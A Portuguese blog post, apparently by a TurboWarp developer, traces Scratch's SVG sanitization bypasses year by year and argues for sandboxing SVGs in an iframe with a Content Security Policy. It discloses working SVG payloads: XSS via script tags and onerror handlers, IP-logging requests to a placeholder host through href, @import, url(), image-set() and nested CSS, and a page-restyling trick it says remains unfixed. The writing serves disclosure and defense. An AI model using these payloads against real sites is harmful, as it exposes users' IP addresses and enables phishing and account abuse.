Os Problemas da Sanitização de SVG
A renderização de SVG no Scratch tem um histórico extenso de vulnerabilidades. A raiz do problema reside no fato de que o Scratch analisa conteúdo gerado pelo usuário (e, portanto, controlado por atacantes) em um elemento <svg> e o adiciona ao documento principal para realizar diversas operações (como medir o bounding box do SVG de forma mais confiável do que com viewbox ou width/height).
Mesmo que o SVG permaneça no documento principal por um curto período, essa operação é inerentemente insegura. Para garantir a segurança, o Scratch implementou uma infraestrutura cada vez mais complexa para analisar o SVG e sua marcação interna, a fim de remover as partes perigosas.
Acredito que a abordagem do Scratch para a sanitização de SVG está fadada ao fracasso. Para explicar isso, precisamos revisitar a história da sanitização de SVG no Scratch e avaliar seu desempenho.
2019: XSS via Tag <script>
Em 2019, alguns meses após o lançamento do Scratch 3, os desenvolvedores do Scratch descobriram que SVGs poderiam conter tags <script>, cuja execução, ao carregar o SVG, afetaria o Scratch. Esse tipo de ataque é conhecido como XSS (Cross-Site Scripting).
No Scratch, um ataque XSS permite que um atacante execute ações em nome de quem carrega seu projeto. Por exemplo, o atacante pode publicar comentários, excluir projetos ou tentar sequestrar a conta da vítima de outras maneiras. No Scratch Desktop, o XSS se transforma em execução de código arbitrário, pois o Scratch Desktop inclui um recurso perigoso de integração com Node.js via Electron. (O TurboWarp Desktop não inclui esse recurso desde a versão v0.2.0 de março de 2021).
Exemplo do conjunto de testes do Scratch:
html<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="250" cy="250" r="50" fill="red" /> <script type="text/javascript"><![CDATA[ alert('from the svg!') ]]></script> </svg>
O problema foi resolvido com uma expressão regular que remove as tags script.
Com essa mudança, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2020: XSS Devido a Erros na Correção Anterior (CVE-2020-7750)
Em 2020, apple502j descobriu que o XSS ainda era possível. Acontece que a correção anterior era completamente falha e podia ser contornada escrevendo <SCRIPT> em letras maiúsculas, pois a expressão regular diferenciava maiúsculas de minúsculas; havia também muitas outras maneiras de contornar. Mesmo que a expressão regular tivesse sido implementada corretamente, ainda não teria funcionado, pois existem outras maneiras de incorporar JavaScript em SVGs. Por exemplo, você pode usar um manipulador de eventos embutido:
html<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject> </svg>
O problema foi resolvido com DOMPurify, que remove scripts de SVGs antes que o scratch-svg-renderer os adicione ao documento.
Com essa mudança, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2022: Vazamento de HTTP via href de <image>
Em 2022, descobriu-se que, usando a propriedade href do elemento <image>, um atacante poderia criar um SVG que, ao ser carregado, faria uma requisição externa. Acontece que, embora o DOMPurify remova o código executável, ele não protege contra vazamentos de HTTP, pois "existem muitas maneiras de implementá-lo e nossos testes mostraram que não é possível proteger de forma confiável".
Para o Scratch, um vazamento de HTTP significa que um usuário do Scratch pode registrar o endereço IP de qualquer pessoa que carregue seu projeto, potencialmente revelando informações como localização ou distrito escolar. A vítima não precisa clicar em nenhum link; o registro do endereço IP ocorre simplesmente ao carregar o projeto. Os desenvolvedores do Scratch aparentemente consideraram isso um bug de segurança, e eu concordo.
Exemplo:
html<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/ping"/> </svg>
O problema foi resolvido adicionando hooks DOMPurify para remover propriedades href de todos os elementos se a URL se referir a um site remoto.
Com essa mudança, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2023: Vazamento de HTTP via @import CSS
Em 2023, descobriu-se que, usando a regra @import CSS dentro de um elemento <style>, um atacante poderia criar um projeto que criasse requisições externas ao carregar o projeto. Exemplo:
html<svg xmlns="http://www.w3.org/2000/svg"> <style> @import url("https://example.com/ping"); </style> </svg>
O problema foi resolvido integrando um parser CSS escrito em JavaScript que remove as partes perigosas do CSS. Ele analisa todas as folhas de estilo contidas no SVG, remove todas as regras @import e, se houver alterações, converte o CSS de volta em uma string.
Com essa mudança, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2024: XSS via Paper.js
Em 2024, descobri um XSS no Paper.js — uma biblioteca que o Scratch usa no editor de fantasias. Acontece que, embora o Scratch sanitizasse SVGs antes de trabalhar com eles no scratch-svg-renderer, SVGs não sanitizados eram passados para o Paper.js. Principalmente, essa vulnerabilidade representava a mesma ameaça que o XSS no scratch-svg-renderer descoberto em 2020, mas ocorria ao usar o editor de fantasias, em vez de ao abrir um projeto. Exemplo:
html<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON"> <foreignObject x="1" y="1" width="1" height="1"> <img xmlns="http://www.w3.org/1999/xhtml" src="data:any invalid URL" onerror="alert(1)" /> </foreignObject> </svg>
O problema foi parcialmente resolvido durante um longo período de tempo, expandindo o código de sanitização de SVG: agora ele era executado ao carregar o SVG, e não apenas ao processá-lo no scratch-svg-renderer. A partir desse momento, o Paper.js recebe apenas SVGs já sanitizados.
Eu escrevi "parcialmente resolvido" porque não sei se a sanitização é realmente executada para SVGs baixados pelo servidor. O suporte do Scratch me disse que eles "têm medidas de proteção contra o que é processado no lado do servidor", o que tornaria essa sanitização redundante. Ao desenvolver uma prova de conceito, nunca vi sinais de tal proteção, mas talvez ela seja real.
Com essa mudança, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2025: Vazamento de HTTP via url() CSS
Em 2025, descobriu-se que, usando url() dentro de algumas regras CSS, um atacante poderia criar um SVG que, ao ser carregado, faria uma requisição externa. Exemplos:
html<svg xmlns="http://www.w3.org/2000/svg"> <!-- estilo embutido --> <rect style="background-image: url(https://example.com/ping)" /> <!-- também pode usar o elemento <style> --> <style> .img { background-image: url("https://example.com/ping"); } </style> <rect class="img" /> </svg>
O problema foi resolvido com uma expansão significativa do código de sanitização de SVG: agora ele procurava por quaisquer ocorrências de url() e removia todos os estilos ou atributos que se referissem a URLs externos.
Com essa mudança, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2026: Vazamento de HTTP via Múltiplos Bugs no Código Antigo
Em 2026, descobriu-se que, usando url() dentro de algumas regras CSS, um atacante ainda poderia criar um SVG que, ao ser carregado, faria uma requisição externa. Acontece que esse vazamento de HTTP foi possível devido a pelo menos três bugs únicos:
- Não foi levado em consideração que o CSS permite escrever
url(...)usando sequências de escape. - Não foi tratada a situação em que o atributo
stylecontinha múltiplosurl(...), onde o primeiro era seguro e o segundo não. - Não foi tratado
url()definido em uma variável CSS, referenciado viavar(--name).
Exemplo:
html<svg xmlns="http://www.w3.org/2000/svg"> <circle fill="\75\72\6c(https://example.com/ping)" /> <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" /> <style> :root { --example: url(https://example.com/ping); } .img { background-image: var(--example); } </style> <rect class="img" /> </svg>
O problema foi resolvido adicionando uma grande quantidade de complexidade adicional em torno do código que já era muito complexo.
Com essa mudança, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2026: Mudança Completa de Estilos da Página via Transições Longas
Em 2026, descobriu-se que, usando transições muito longas de forma inteligente e forçando o navegador a alterar os estilos de todos os elementos, um atacante pode aplicar estilos arbitrários a toda a página do Scratch, que persistem até que a página seja atualizada. Na maioria das vezes, essa vulnerabilidade era usada para entretenimento, mas também pode ser usada para ações mais sinistras:
- Ocultar o botão "Denunciar".
- Fazer com que os botões de curtir/adicionar aos favoritos tenham o tamanho de toda a página, para que os usuários sejam forçados a clicar neles.
- Exibir texto informando ao usuário que ele precisa abrir o site em uma nova aba para "verificar" sua conta (em alguma página de phishing). Os usuários provavelmente acreditarão nas instruções, pois a mensagem vem do
scratch.mit.edureal.
Exemplo de projeto (não meu):
https://scratch.mit.edu/projects/1299571218/
Cedo ou tarde, isso provavelmente será corrigido, mas, por enquanto, o usuário verá algo assim:
Neste projeto, são usados dois SVGs. O primeiro é o "gatilho":
html<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Trigger </text> <style> /* Forçamos o navegador a recalcular os estilos para ativar o primeiro SVG */ *, * *, * * *, * * * * { transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important; transition: all 9999s ease !important; filter: blur(0px) !important; } </style> </svg>
O segundo contém os estilos para exibição:
html<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"> <rect x="0" y="0" width="200" height="100" fill="#111"></rect> <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle"> Styles </text> <style> /* Fundo azul global */ * { background-color: blue !important; color: white !important; } /* Estilização das instruções/descrição do projeto */ .project-description, .instructions-container { background-color: yellow !important; color: black !important; border: 10px solid red !important; transform: scale(1.1) !important; } </style> </svg>
Não vou fingir que entendo o que está acontecendo aqui e por que isso funciona de forma não determinística, mas, em geral, entendo assim:
- O SVG de gatilho aplica
transformefiltera cada elemento do documento para forçar o navegador a recalcular todos os estilos imediatamente, aplicando os estilos do outro SVG. - O SVG de gatilho aplica uma
transitionmuito longa para que, após a remoção do outro SVG, os estilos persistam durante toda a "transição".
Este problema não foi resolvido.
Com essa correção, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
2026: Vazamento de HTTP via image-set()
Eu relatei isso aos desenvolvedores do Scratch em 2025. Eles não corrigiram, então estou revelando nesta postagem. Todos os prazos razoáveis de divulgação já passaram há seis meses.
Em vez de url(), um atacante pode usar image-set() para criar um SVG que, ao ser carregado, executa uma requisição externa. Exemplos:
html<svg xmlns="http://www.w3.org/2000/svg"> <!-- image-set(...) pode usar recursos externos que podem ser solicitados sem url(). --> <style> .image-set-with-string-url { background-image: image-set("https://example.com/ping" 1x); } </style> <rect class="image-set-with-string-url" /> <!-- image-set(url(...)) funciona de forma semelhante a image-set(...). Essa forma já é bloqueada pela sanitização existente. --> <style> .image-set-with-inner-url-function { background-image: image-set(url(https://example.com/ping) 1x); } </style> <rect class="image-set-with-inner-url-function"></rect> <!-- image-set() também pode ser usado para incorporar atributos de estilos. --> <rect style="background-image: image-set('https://example.com/ping' 1x)" /> </svg>
Este problema não foi resolvido.
Com essa correção, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
20XX: Vazamento de HTTP via Novos Recursos CSS
Eu também relatei isso aos desenvolvedores do Scratch em 2025. Na verdade, esse bug ainda não funciona, mas começará a funcionar no futuro se os navegadores implementarem todos os CSS Units Level 4 ou CSS Images Level 4. Hoje, o Ladybird é o único navegador que os implementa, mas, cedo ou tarde, os navegadores mais populares também podem implementá-los.
Em vez de url(), um atacante pode usar src() ou image() para criar um SVG que, ao ser carregado, executa uma requisição externa. Exemplos:
html<svg xmlns="http://www.w3.org/2000/svg"> <!-- Tudo neste arquivo usa recursos definidos nas especificações do navegador, mas ainda não implementados. Teoricamente, os navegadores futuros podem iniciar requisições quando virem esses estilos. --> <!-- CSS Units Level 4 define src(...) como uma alternativa a url(...). Ao contrário de url(), a URL src() pode ser qualquer expressão, e não apenas uma string constante. Referência: https://www.w3.org/TR/css-values-4/#example-a2ee15a6 Ainda não implementado em nenhum navegador popular. (Apenas no navegador experimental Ladybird) --> <style> .src-constant { background: src('https://example.com/ping'); } .src-variable { --url: 'https://example.com/ping'; background: src(var(--url)); } </style> <rect class="src-constant" /> <rect class="src-variable" /> <!-- CSS Images Level 4 define image() como uma alternativa a url() para imagens. Referência: https://www.w3.org/TR/css-images-4/#image-notation Ainda não implementado em nenhum navegador popular. --> <style> .image { background: image('https://example.com/ping', black); } </style> <rect class="image" /> <!-- Semelhante aos exemplos acima, mas usando estilos embutidos --> <rect style="background: src('https://example.com/ping');" /> <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" /> <rect style="background: image('https://example.com/ping', black);" /> </svg>
Este problema não foi resolvido.
Com essa correção, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
Tal Sistema é Insustentável
Adicionar cada vez mais complexidade ao processo de sanitização é uma solução fadada ao fracasso. Já nos aprofundamos em cinco grandes revisões, mas ainda existem brechas conhecidas. As pessoas estão ativamente compartilhando projetos no site do Scratch, contornando a sanitização de SVG. E no momento em que os navegadores decidirem implementar as especificações CSS mais recentes, ainda mais brechas serão abertas.
Além disso, nem todos esses problemas têm soluções claras. No caso da vulnerabilidade com a estilização completa da página, ambos os SVGs parecem completamente inofensivos: eles não têm JavaScript nem links para recursos externos. Provavelmente, o problema poderia ser resolvido removendo os estilos transition, pois as transições nunca são executadas no Scratch de qualquer maneira, mas temos certeza de que isso é suficiente? Vamos nos lembrar de remover todas as versões de transition com prefixos de fornecedores? E quanto aos estilos animation?
Aqui estão alguns outros exemplos que podem fornecer a capacidade de contornar a proteção no futuro:
css-tree(a biblioteca usada pelo Scratch para analisar CSS) e os analisadores CSS reais dos navegadores podem não corresponder completamente. Nesse caso, ocss-treepode analisar o CSS de forma que tudo pareça correto e, portanto, nada seja removido, mas o analisador real do navegador reconhecerá o conteúdo externo posteriormente.- Novos recursos CSS avançados, como
@propertyounative nesting, que as versões docss-treepodem não ser capazes de analisar de forma significativa sem atualizações constantes. - Os navegadores sempre podem adicionar novos recursos capazes de se referir a conteúdo externo, como aconteceu com
image-set()e com o que a especificação implica emsrc()eimage(). Como acompanhar as mudanças constantes nessas especificações e verificar se cada novo recurso se refere a conteúdo externo?
A Alternativa
O TurboWarp (um fork do Scratch no qual trabalho) não foi afetado pelos vazamentos de HTTP de 2026 nem pelo problema de mudança completa de estilos da página. E não é porque encontrei todas as maneiras inteligentes pelas quais os SVGs podem causar danos: na verdade, eu removi completamente o código de sanitização de CSS para que os projetos empacotados ficassem 400 KB menores.
Implementei uma solução alternativa para fazer o sandboxing de SVGs dentro de um iframe. Primeiro, criamos um iframe com a propriedade sandbox igual a allow-same-origin. Isso impede a execução de scripts fora do iframe, mas permite que ele interaja com o conteúdo interno.
Em segundo lugar, criamos um iframe com o seguinte HTML:
html<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:"> </head> <body></body> </html>
A Content-Security-Policy embutida é configurada para bloquear todos os scripts e permitir que apenas recursos seguros sejam carregados de URLs de dados seguros. Também continuamos a usar o DOMPurify para remover coisas obviamente maliciosas de SVGs. Em seguida, colocamos o iframe em alguma parte do documento fora da tela para que a API de medições necessária do Scratch continue funcionando.
Essa solução nos fornece propriedades muito convenientes:
- O navegador usa código pronto para executar o trabalho mais difícil para nós.
- O TurboWarp não precisa saber todas as maneiras pelas quais um SVG pode executar uma requisição. O navegador já as conhece e as verificará para todas as novas APIs adicionadas.
- As implementações reais de CSP não são perfeitas e contêm brechas. No entanto, essas brechas geralmente acabam sendo casos extremos estranhos que exigem que o atacante garanta a execução de JavaScript. Essas vulnerabilidades são consideradas problemas de segurança do navegador, então as recompensas por bugs são pagas por elas.
- O SVG não pode afetar o documento principal.
Tomemos como exemplo a mudança de estilos de toda a página. Como o SVG está contido em um iframe, ele só pode alterar os estilos desse iframe. Os estilos do iframe não afetam nada, então estamos bem com isso.
Nosso código pode ser encontrado aqui:
Provavelmente, é possível fazer algo interessante com shadow DOM ou outras APIs da web, mas estamos muito satisfeitos com a solução de iframe.
Abaixo, falarei sobre os problemas que descobri após a publicação do artigo.
12 de abril de 2026: Claude Encontrou Vazamento de HTTP via Sintaxe Relaxada de Aninhamento CSS
Após a publicação do artigo, fiquei curioso para saber o quão bem os modelos de linguagem modernos conseguem encontrar bugs semelhantes. Pedi ao Claude Opus 4.6 para clonar o repositório scratch-editor, estudar as últimas alterações no renderizador SVG e procurar por brechas neles. Os resultados foram interessantes:
- Claude descobriu sozinho que
image-set(...)não é sanitizado e pode causar vazamentos de HTTP. - Claude descobriu um novo problema não descrito nesta postagem.
O bug está relacionado ao aninhamento CSS, que pode se manifestar de duas formas. Um estilo aninhado pode adicionar um prefixo & ao seletor ou não adicionar um prefixo (o último conhecido como sintaxe "relaxada"). Os navegadores modernos interpretam ambos os exemplos mostrados abaixo da mesma forma.
cssg { & rect { background-image: url(https://example.com/ping); } } g { rect { background-image: url(https://example.com/ping); } }
css-tree é capaz de analisar a versão com o prefixo & em uma árvore de sintaxe significativa, que o Scratch é capaz de sanitizar. No entanto, descobriu-se que o css-tree não sabe como analisar a versão relaxada. Todo o bloco div { ... } é analisado como um nó de "texto bruto", que o código do Scratch não sanitiza. Aqui está um exemplo completo de SVG:
html<svg xmlns="http://www.w3.org/2000/svg"> <style> g { rect { background-image: url(https://example.com/ping); } } </style> <g><rect></rect></g> </svg>
Anteriormente nesta postagem, eu disse que css-tree e os analisadores CSS reais dos navegadores podem não corresponder completamente. Aqui está um exemplo real de um bug que permite contornar a sanitização CSS. Vale ressaltar que o css-tree tem atualmente 48 issues abertos e muitos outros problemas desconhecidos. Acredito que a esperança de que o css-tree seja um analisador perfeito é um caminho sem saída que levará a ainda mais vulnerabilidades. O sandbox SVG no TurboWarp eliminou completamente esse bug, embora eu nem soubesse sobre ele.
Este problema não foi resolvido.
O issue do css-tree para este bug está aberto desde dezembro de 2023.
Com essa correção, os SVGs certamente estariam completamente seguros e não precisariam de mais correções, certo?
Essa saga demonstra a complexidade inerente à sanitização de SVG e a dificuldade de acompanhar as evoluções das especificações CSS e as novas formas de explorar vulnerabilidades. A abordagem de sandboxing adotada pelo TurboWarp parece ser uma alternativa mais promissora para garantir a segurança dos usuários.








